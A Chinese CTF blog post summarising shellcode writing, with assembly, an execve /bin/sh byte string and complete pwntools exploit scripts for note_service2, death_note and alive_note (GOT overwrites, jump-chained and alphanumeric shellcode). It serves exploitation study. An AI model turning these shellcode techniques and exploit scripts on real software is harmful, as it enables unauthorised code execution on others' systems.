shellcode编写过程总结

序言: 平时做题也遇到过一些编写shellcode的题目了,最近抽空总结下类型,以及编写过程

利用工具生成或直接查找

我收集了一些工具生成纯字母数字shellcode的
比如 pwntools的 shellcraft模块
或者到exploit-db直接查找

这种题好做,利用工具生成,比如pwnable.tw 的 orw,这题就是可以直接利用工具生成的

shellcode = shellcraft.open('/home/orw/flag')
    shellcode += shellcraft.read('eax','esp', 0x30)
    shellcode += shellcraft.write(1, 'esp', 0x30)

三句代码搞定,这种是限制了只能用open,read,write的

还可以手写汇编,对于unctf的orwpwn可以手写汇编,不过没必要啊,复制黏贴也是可以的

shellcode = asm('''
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
    ''')

在比如说那种直接输入shellcode执行的,攻防世界新手区有道题目string,就是直接输入shellcode拿shell的,这种可以用shellcraft.sh()或者exploit-db查找

shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"

随便拿个shellcode举例吧

练习题

  1. 攻防世界pwn新手区的string
  2. 中科大比赛的shellhacker(3个类型)都是可以用工具生成解决的
  3. pwnable.tw的orw
  4. unctf的orwpwn

这些都还可以找得到题目来的,可以自行查找,我当时是手写了汇编练习,实际工具一把梭也是可以的

手写shellcode

这种题目我认为难度就比较大了,汇编基础不扎实的确实难,对我来说也是一样的,不过还是要总结下编写过程,这样以后遇到才不会慌

就从最简单的shellcode编写开始吧,难度层级如下,一层一层更难

  1. 攻防世界的note_service2
  2. pwnable.tw 的death_note
  3. pwnable.tw 的alive_note

note_service2

这道题又让我学了不少东西

复习了下jmp的跳转,以及机器码

0xE8 CALL 后面的四个字节是地址
0xE9 JMP 后面的四个字节是偏移
0xEB JMP 后面的二个字节是偏移
0xFF15 CALL 后面的四个字节是存放地址的地址
0xFF25 JMP 后面的四个字节是存放地址的地址
0x68 PUSH 后面的四个字节入栈
0x6A PUSH 后面的一个字节入栈

漏洞

发觉有个double free,然后8个字节不知道怎么利用,然后卡死了

看了wp后,原来这道又是出自pwnable.tw的,经过他人修改,然后出题了,考点是shellcode链的构造,也就是手写汇编能力

漏洞利用

这里查看保护发觉nx保护没开,所以想着如何写shellcode,8个字节,我也没想出怎么写shellcode,大佬们强啊,shellcode链,利用近转移,一步步跳过去,组合起来就是大shellcode了,这跟ROP类似啊,我怎么就想不到呢,在此还是先佩服下师傅们

细节点

调试部分我用edb测试了下,edb打开随便一个程序,测了下E916,发觉他会自动改成5个字节
其余指令可以用pwntools测试,asm('xor rsi,rsi',arch='amd64')
free_got - heap地址,这个相对偏移是确定的,所以可以用index这样寻址

至于为什么是E916,这个可以计算下,
短转移:
假设目前指令为:

0x1000 E9 16 00 00 00
0x1005 90
0x1006 90
    .
    .
    .
0x101b 90

1000+16+5=101b

至于为什么这么计算,通俗点讲就是执行完这条指令才会跳转,所以执行完这条指令地址本应该为1005,所以为什么要+5,然后jmp的话,他要跳到相对于这里16处,所以就是0x101b处了

细想一下,delete(0)为什么可以执行system函数呢,因为free(0)的话,首先将参数传进去,也就是第一个堆块地址,就是存/bin/sh处,放到rdi里,后面开始执行shellcode链

编写shellcode链过程
0x00 0 0x21
0x10 0 0
0x20 0 0x21
0x30 0 0
0x40 0 0x21
0x50 0 0
0x60 0 0x21
0x70 0 0
  1. 建立起堆块的结构链条,如上
  2. 建立起sys_execve需要的寄存器rdi,rsi,rdx,rax
  3. rdi为/bin/sh,rsi=0,rdx=0,rax=0x3b
  4. xor rsi,rsi 对应字节码 0xf63148,三个字节,先将这个放进去,然后要跳转到0x30处,所以现在编写jmp语句 e9 大小,具体多少,0x30-0x10-3-5=0x18,所以是e918
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 0 0
0x40 0 0x21
0x50 0 0
0x60 0 0x21
0x70 0 0
  1. xor rdx,rdx 对应字节码0xd23148,三个字节,接着跳 ,一样的 e918
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 00000018e94831d2 0
0x40 0 0x21
0x50 0 0
0x60 0 0x21
0x70 0 0
  1. rax=0x3b, push 0x3b,pop rax,为0x3b6a58 三个字节,还是一样的
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 00000018e94831d2 0
0x40 0 0x21
0x50 00000018e9586a3b 0
0x60 0 0x21
0x70 0 0
  1. 最后syscall 0x050f
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 00000018e94831d2 0
0x40 0 0x21
0x50 00000018e9586a3b 0
0x60 0f05 0x21
0x70 0 0
  1. 测试了下,不成功,因为content不为8不会退出,那就加3个nop吧凑个整数,这样少跳3个nop就行,所以最后变成
0x00 0 0x21
0x10 16e99090904831f6 0
0x20 0 0x21
0x30 16e99090904831d2 0
0x40 0 0x21
0x50 16e9909090586a3b 0
0x60 9090909090900f50 0x21
0x70 0 0

emm,测试不成功,原因是,最多接受7个...题目里限制了,所以改成2个nop

0x00 0 0x21
0x10 0016e990904831f6 0
0x20 0 0x21
0x30 0016e990904831d2 0
0x40 0 0x21
0x50 0016e99090586a3b 0
0x60 0090909090900f50 0x21
0x70 0 0

exp

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = '111.198.29.45' 
port = 49964
context.log_level = 'debug'
exe = '/tmp/tmp.sGaluM2IXs/note'
# Load it if has exe
try:
    context.binary = exe
    elf = ELF(exe)
except Exception as e:
    print("Elf can't be load")

# load libc 
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
    io = process(exe)
else:
    io = remote(host,port, timeout=10)
#don't forget to change it
s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, '\x00'))
uu64 = lambda data                                    : u64(data.ljust(8, '\x00'))
lg   = lambda s,addr                                  : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga   = lambda job=""                                  : gdb.attach(io, job) if local else 0
ia   = lambda                                         : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        ga('b *{}'.format(hex(text_base+addr)))
    else:
        ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
    return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
    # Arch:     amd64-64-little
    # RELRO:    Partial RELRO
    # Stack:    Canary found
    # NX:       NX disabled
    # PIE:      PIE enabled
    # RWX:      Has RWX segments

def c(idx):
    sla(">> ", idx)

def new(idx, content):
    c(1)
    sla(":", idx)
    sla(":", 8)
    sa(":", content)

def delete(idx):
    c(4)
    sla(":", idx)



def exp(host, rce=False):
    if rce:
        one_gadget = get_one_gadget(libc.path)

    #start here
    new(0, '/bin/sh')
    new((elf.got['free']-0x2020A0)/8, asm('xor rsi,rsi')+ '\x90\x90\xe9\x16')
    new(1, asm('push 0x3b\n pop rax') + '\x90\x90\xe9\x16')
    new(2, asm('xor rdx, rdx') + '\x90\x90\xe9\x16')
    new(3, asm('syscall') + '\x90'*5)
    ga()
    delete(0)
    ia()
if __name__ == '__main__':
    exp(host,)

death_note

我是先做完alive_note再来做这道,看了下,难度比alive_note确实简单了一些,那题手写shellcode跳转链条,真的麻烦,这题直接0x50字节的shellcode执行就行,还是改got表,然后手写汇编就ok了

数字字母汇编代码,大佬总结的

1.数据传送:
push/pop eax…
pusha/popa

2.算术运算:
inc/dec eax…
sub al, 立即数
sub byte ptr [eax… + 立即数], al dl…
sub byte ptr [eax… + 立即数], ah dh…
sub dword ptr [eax… + 立即数], esi edi
sub word ptr [eax… + 立即数], si di
sub al dl…, byte ptr [eax… + 立即数]
sub ah dh…, byte ptr [eax… + 立即数]
sub esi edi, dword ptr [eax… + 立即数]
sub si di, word ptr [eax… + 立即数]

3.逻辑运算:
and al, 立即数
and dword ptr [eax… + 立即数], esi edi
and word ptr [eax… + 立即数], si di
and ah dh…, byte ptr [ecx edx… + 立即数]
and esi edi, dword ptr [eax… + 立即数]
and si di, word ptr [eax… + 立即数]

xor al, 立即数
xor byte ptr [eax… + 立即数], al dl…
xor byte ptr [eax… + 立即数], ah dh…
xor dword ptr [eax… + 立即数], esi edi
xor word ptr [eax… + 立即数], si di
xor al dl…, byte ptr [eax… + 立即数]
xor ah dh…, byte ptr [eax… + 立即数]
xor esi edi, dword ptr [eax… + 立即数]
xor si di, word ptr [eax… + 立即数]

4.比较指令:
cmp al, 立即数
cmp byte ptr [eax… + 立即数], al dl…
cmp byte ptr [eax… + 立即数], ah dh…
cmp dword ptr [eax… + 立即数], esi edi
cmp word ptr [eax… + 立即数], si di
cmp al dl…, byte ptr [eax… + 立即数]
cmp ah dh…, byte ptr [eax… + 立即数]
cmp esi edi, dword ptr [eax… + 立即数]
cmp si di, word ptr [eax… + 立即数]

5.转移指令:
push 56h
pop eax
cmp al, 43h
jnz lable

<=> jmp lable

6.交换al, ah
push eax
xor ah, byte ptr [esp] // ah ^= al
xor byte ptr [esp], ah // al ^= ah
xor ah, byte ptr [esp] // ah ^= al
pop eax

7.清零:
push 44h
pop eax
sub al, 44h ; eax = 0

push esi
push esp
pop eax
xor [eax], esi ; esi = 0

构造shellcode思路

首先得明白我们应该要什么样的结果

eax=0xb
ecx=0
ebx= /bin/sh地址
edx = 0

然后开始构造

  1. 先用shellcraft.sh()生成shellcode,发觉还是有可取之处,我们将push /bin/sh部分取出来就好了
>>> asm(shellcraft.sh())
'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp

然后修改代码,mov ebx,esp改成push esp, pop ebx

push 0x68 #push /bin/sh
    push 0x732f2f2f
    push 0x6e69622f
    push esp
    pop ebx
  1. 我free的时候会传进来heap地址,所以我们初始地址存在了eax里,记得保存,还有传进来同时ecx=0xa,edx=0,这些都是可以利用的,构造eax=0xb
push ecx
    pop eax
    xor al,0x41
    xor al,0x40

同时,这段代码可以作为滑板,一直执行

  1. 构造ecx=0
push edx
    pop ecx
  1. 最主要要构造int 0x80,先将前面的shellcode拼接起来,具体怎么个顺序可以自行调整,不过要清楚寄存器没有被破坏

我构造了这样的顺序

push ecx
    pop eax
    xor al,0x41
    xor al,0x40
    push edx
    pop ecx
    push 0x68 #push /bin/sh
    push 0x732f2f2f
    push 0x6e69622f
    push esp
    pop ebx

最前面来构造int 0x80,因为此时堆块地址还未被破坏,

push eax #堆块地址
    pop ebx #保存堆块地址到ebx
    push edx
    pop eax
    dec eax #构造0xff
    xor al,0x46 #al = 0xb9
    xor byte ptr[ebx+0x35],al #set int 0x80
    xor byte ptr[ebx+0x36],al

这里要注意的是ebx+0x35这是我自行构造出来的,通过这一段当作滑板,构造出可见字符常数

push ecx
    pop eax
    xor al,0x41
    xor al,0x40

所以最后就是

push eax #堆块地址
    pop ebx #保存堆块地址到ebx
    push edx
    pop eax
    dec eax #构造0xff
    xor al,0x46 #al = 0xb9
    xor byte ptr[ebx+0x35],al #set int 0x80
    xor byte ptr[ebx+0x36],al
    push ecx
    pop eax
    xor al,0x41
    xor al,0x40
    push ecx
    pop eax
    xor al,0x41
    xor al,0x40
    push ecx
    pop eax
    xor al,0x41
    xor al,0x40
    push ecx
    pop eax
    xor al,0x41
    xor al,0x40
    push edx
    pop ecx
    push 0x68 #push /bin/sh
    push 0x732f2f2f
    push 0x6e69622f
    push esp
    pop ebx

最后加上'\x74\x39'这个,拿来构造int 0x80的,就好了

exp

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = '127.0.0.1' 
port = 10000
context.log_level = 'debug'
exe = './death_note'
# Load it if has exe
try:
    context.binary = exe
    elf = ELF(exe)
except Exception as e:
    print("Elf can't be load")

# load libc 
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
    io = process(exe)
else:
    io = remote(host,port, timeout=10)
#don't forget to change it
s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, '\x00'))
uu64 = lambda data                                    : u64(data.ljust(8, '\x00'))
lg   = lambda s,addr                                  : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga   = lambda job=""                                  : gdb.attach(io, job) if local else 0
ia   = lambda                                         : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        ga('b *{}'.format(hex(text_base+addr)))
    else:
        ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
    return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
    # Arch:     i386-32-little
    # RELRO:    Partial RELRO
    # Stack:    Canary found
    # NX:       NX disabled
    # PIE:      No PIE (0x8048000)
    # RWX:      Has RWX segments

def c(idx):
    sla(":", idx)

def new(idx, content):
    c(1)
    sla(":", idx)
    sla(":", content)

def delete(idx):
    c(3)
    sla(":", idx)


def exp(host, rce=False):
    if rce:
        one_gadget = get_one_gadget(libc.path)

    #start here
    offset = (elf.got['free']-0x0804A060)/4
    #ga("b *0x8048865\nc\nn 4\ns")
    shellcode = asm('''
                    push eax
                    pop ebx #保存指针
                    push edx
                    pop eax
                    dec eax
                    xor al,0x46
                    xor byte ptr[ebx+0x35],al #set int 0x80
                    xor byte ptr[ebx+0x36],al
                    push ecx #这里作为滑板,填充数据
                    pop eax
                    xor al, 0x41
                    xor al, 0x40
                    push ecx
                    pop eax
                    xor al, 0x41
                    xor al, 0x40
                    push ecx
                    pop eax
                    xor al, 0x41
                    xor al, 0x40
                    push ecx # set al=0xb
                    pop eax
                    xor al, 0x41
                    xor al, 0x40
                    push edx  # set ecx=0
                    pop ecx
                    push 0x68 # push /bin/sh
                    push 0x732f2f2f
                    push 0x6e69622f
                    push esp
                    pop ebx
                    ''') 
    lg("len", len(shellcode))
    shellcode += '\x74\x39'
    new(offset, shellcode)
    delete(offset)

    ia()
if __name__ == '__main__':
    exp(host,)

alive_note

漏洞利用

自己利用还是不会,我感觉这题比那个note-service2难多了,讲真,这题考的纯字母数字shellcode在加上shellcode链构造,这是目前我遇到的最难的shellcode题目了

照着shellcode分析一遍,将过程梳理下

整体思路是通过构造shellcode链, 然后read(0,heap,size),读入shellcode执行, 这样就可以有非限制字符了

  1. 确认需要读取的heap,我们可以将heap设置为我们已执行过的shellcode链的堆块,也就是说执行前的堆块都行,我们就用第1个堆块
  2. 我们要执行int 80软中断,read是eax=3,ebx=0,ecx=heap,edx=size
  3. 首先我们可以获得的是ecx,因为free调用的时候会传入heap地址,所以第一步设置ecx,这里经过测试发觉free的堆块地址会放到eax里,同时还有空闲字节设置edx=size
push eax 
pop ecx 
push 0x7a
pop edx
push ebx
jne 0x3a #因为跳到0x38处,要减去2,指令长度为2

发觉jne的0x不好选,因为题目有限制,看限制

顺序: 1->5->2->6->4

['0x0', '0x20', '0x30', '0x31', '0x32', '0x33', '0x34', '0x35', '0x36', '0x37', '0x38', '0x39', '0x41', '0x42', '0x43', '0x44', '0x45', '0x46', '0x47', '0x48', '0x49', '0x4a', '0x4b', '0x4c', '0x4d', '0x4e', '0x4f', '0x50', '0x51', '0x52', '0x53', '0x54', '0x55', '0x56', '0x57', '0x58', '0x59', '0x5a', '0x61', '0x62', '0x63', '0x64', '0x65', '0x66', '0x67', '0x68', '0x69', '0x6a', '0x6b', '0x6c', '0x6d', '0x6e', '0x6f', '0x70', '0x71', '0x72', '0x73', '0x74', '0x75', '0x76', '0x77', '0x78', '0x79', '0x7a']

所以我们选的常数要在这个范围里面,0x7a就是因为他是最大的,所以我们就选了edx为0x7a,最好选的就是0x38左右,为什么,我第一个shellcode长度为8

0x0:    0x00000000  0x00000011  0x31000000  0x00000000 #堆块1完成
0x10:   0x00000000  0x00000011  0x32000000  0x00000000
0x20:   0x00000000  0x00000011  0x33000000  0x00000000
0x30:   0x00000000  0x00000011  0x34000000  0x00000000
0x40:   0x00000000  0x00000011  0x35000000  0x00000000 #堆块5完成
0x50:   0x00000000  0x00000011  0x36000000  0x00000000

以这个为例子就是填充到0x10处,所以最小的限制字符就是0x30开头了,那就跳到0x48处,
jne跳转计算为0x48-0x10=0x38,所以第一个跳就是jne 0x3a,因为要-2,这个机器码对应的才是跳0x38

  1. 我跳转到了第5块堆块,然后又要跳回来的话,就要设置大于0x80大小的值(因为0x80前是正数,0x80后才是负数),所以有
>>> hex(0x18-0x4d & 0xff)
'0xcb'

所以jne 0xcb是我们想要的结果,然后这个对应的机器码为75C9,其实0xcb可以不用计算器算,用吾爱工具跳转指令计算器0.4b计算的我是,找了好久才用他,输入0x4d和0x18 就出来了,接下来将C9转换成可见字符,

xor byte ptr[ecx+0x46]

>>> hex(0x4e-0x8)
'0x46'

是0x46,这里就是计算那个偏移了ecx是堆块0,然后偏移

pop eax
dec eax #eax变为0xffffffff
xor byte ptr[ecx+0x46],al #合起来5个字节 0x46上面刚计算
jne 0xcb # 这里是75C9,转变C9与0xff异或为0x36所以最终为7536
0x0:    0x00000000  0x00000011  0x31000000  0x00000000 #1完成
0x10:   0x00000000  0x00000011  0x32000000  0x00000000
0x20:   0x00000000  0x00000011  0x33000000  0x00000000
0x30:   0x00000000  0x00000011  0x34000000  0x00000000
0x40:   0x00000000  0x00000011  0x35000000  0x00000000 #5完成
0x50:   0x00000000  0x00000011  0x36000000  0x00000000
  1. 接下来本应该是第2块堆块了

参数已经设置好了,现在最主要要构造int 0x80了,所以就是xor变成int 0x80

我们将int 0x80放在最后一个执行的堆块里,就是第4块堆块,所以还是得先设置第四块

  1. 设置第四块

参数还要设置eax为0x3,所以先将eax变为0,

pop eax
xor al,0x33
xor al,0x30 #5个字节
int 0x80 #本来是\xcd\x80,两个都不可见,所以要将其变为可见,回到第二块堆块
0x0:    0x00000000  0x00000011  0x31000000  0x00000000 #1完成
0x10:   0x00000000  0x00000011  0x32000000  0x00000000
0x20:   0x00000000  0x00000011  0x33000000  0x00000000
0x30:   0x00000000  0x00000011  0x34000000  0x00000000 #4完成
0x40:   0x00000000  0x00000011  0x35000000  0x00000000 #5完成
0x50:   0x00000000  0x00000011  0x36000000  0x00000000
  1. 再次回到第二块堆块
xor al,0x46 #al=0xb9
xor byte ptr[ecx+0x35],al 
push ebx #为第四块的pop eax做准备
jne 0x3a #同理跳到第六块去
pop eax
xor al,0x33
xor al,0x30 #5个字节
int 0x80 #现在变成\x74\x80
0x0:    0x00000000  0x00000011  0x31000000  0x00000000 #1完成
0x10:   0x00000000  0x00000011  0x32000000  0x00000000 #2完成
0x20:   0x00000000  0x00000011  0x33000000  0x00000000
0x30:   0x00000000  0x00000011  0x34000000  0x00000000 #4完成
0x40:   0x00000000  0x00000011  0x35000000  0x00000000 #5完成
0x50:   0x00000000  0x00000011  0x36000000  0x00000000
  1. 第六块堆块了

先将堆块4改了

xor byte ptr[ecx+0x36],al  #int 0x80设置好了,3个字节
xor byte ptr[ecx+0x57],al      # 在三个字节,将d8转化 0x5f-0x8
jne 0xda #0x5e跳到0x38, 原机器码75d8,d8转为61,所以变为7561
pop eax
xor al,0x33
xor al,0x30 #5个字节
int 0x80 #现在变成\x74\x39
>>> hex(0xb9^0x80)
'0x39'
0x0:    0x00000000  0x00000011  0x31000000  0x00000000 #1完成
0x10:   0x00000000  0x00000011  0x32000000  0x00000000 #2完成
0x20:   0x00000000  0x00000011  0x33000000  0x00000000 #3随便填充就好
0x30:   0x00000000  0x00000011  0x34000000  0x00000000 #4完成
0x40:   0x00000000  0x00000011  0x35000000  0x00000000 #5完成
0x50:   0x00000000  0x00000011  0x36000000  0x00000000 #6完成
  1. 将这些汇编代码转为可见字符,这里我用ollydbg加跳转指令计算器

第一段:

>>> p64(0x3875535a7a6a5950)
'PYjzZSu8'

PYjzZSu8

第二段:

>>> p64(0x3875533541304634)
'4F0A5Su8'

4F0A5Su8

第三段: 随便

第四段:

>>> p64(0x39743034333458)
'X4340t9\x00'

X4340t9

第五段:

>>> p64(0x36754641304858)
'XH0AFu6\x00'

XH0AFu6

第六段:

>>> p64(0x6175574130364130)
'0A60AWua'

PYjzZSu8
4F0A5Su8
11111111
X4340t9
XH0AFu6
0A60AWua

  1. 做完这些过后,填充前面的,然后shellcode就行,位置0x38+7-0x8=0x37

所以就是’a'*0x37 + asm(shellcraft.sh())

执行过程

至于执行过程呢,free(offset),然后就开始执行free_got表里的shellcode,也就是offset处的shellcode,接着跳来跳去就完成了

还有就是没必要跟我一样挑难的来,网上好多大佬都是中间用三个堆块填充,这样跳转不用计算来计算去,那样好算点,我是为了复习汇编加理解原理搞复杂的

exp

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = '127.0.0.1' 
port = 10000
#context.log_level = 'debug'
exe = './alive_note'
# Load it if has exe
try:
    context.binary = exe
    elf = ELF(exe)
except Exception as e:
    print("Elf can't be load")

# load libc 
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
    io = process(exe)
else:
    io = remote(host,port, timeout=10)
#don't forget to change it
s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, '\x00'))
uu64 = lambda data                                    : u64(data.ljust(8, '\x00'))
lg   = lambda s,addr                                  : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga   = lambda job=""                                  : gdb.attach(io, job) if local else 0
ia   = lambda                                         : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        ga('b *{}'.format(hex(text_base+addr)))
    else:
        ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
    return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
    # Arch:     i386-32-little
    # RELRO:    Partial RELRO
    # Stack:    Canary found
    # NX:       NX disabled
    # PIE:      No PIE (0x8048000)
    # RWX:      Has RWX segments

def fuzz(char):
    new(0, char)
    show(0)
    print(rl())

List = [0, 32, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122]         
List = [chr(i) for i in List]

def checkPayload(payload):
    for i in payload:
        if i in List:
            return False
    return True

def c(idx):
    sla(":", idx)

def new(idx, name):
    c(1)
    sla(":", idx)
    if checkPayload(name):
        print("payload is wrong")
        exit(0)
    else:
        sla(":", name)

def show(idx):
    c(2)
    sla(":", idx)

def delete(idx):
    c(3)
    sla(":", idx)


def exp(host, rce=False):
    if rce:
        one_gadget = get_one_gadget(libc.path)

    #start here
    '''
    PYjzZSu8
    4F0A5Su8
    11111111
    X4340t9
    XH0AFu6
    0A60AWua
    '''
    # offset = free_got - heap
    offset = (0x0804a014-0x0804A080)/4
    ga("b *0x080488DC\n c\nn 4\ndelete\ns\n")
    new(offset, 'PYjzZSu8')
    new(0, '4F0A5Su8')
    new(1, '11111111')
    new(2, 'X4340t9')
    new(3, 'XH0AFu6')
    new(4, '0A60AWua')
    delete(offset)
    s(0x37*'a' + asm(shellcraft.sh()))
    #ga()

    ia()
if __name__ == '__main__':

    # fuzz the input name
    '''
    List = []
    for i in range(0, 128):
        try:
            fuzz(chr(i))
            io.close()
            List.append(i)
        except Exception as e:
            print(e)
        finally:
            io = process(exe)
    print(List)
    '''
    exp(host,)

总结

  1. shellcode编写难度其实还是挺大的,最主要是数学计算问题,计算偏移跳转那些确实得非常精细
  2. shellcode题目类型其实也不多,手写的难度大,在菜鸡比赛中应该比较少出现,大部分是那种工具生成的,毕竟手写汇编太耗时了?(师傅们几分钟写完,我等瑟瑟发抖)
  3. shellcode链这种思路我还没编写过,这次学到了,大佬们tql
  4. xor byte ptr[ecx+0x35],al 这种改int 0x80也是刚学到

参考链接

DoubleLabyrinth师傅
p4nda师傅的博客(听过师傅好久了,没机会认识)

点击收藏 | 4 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖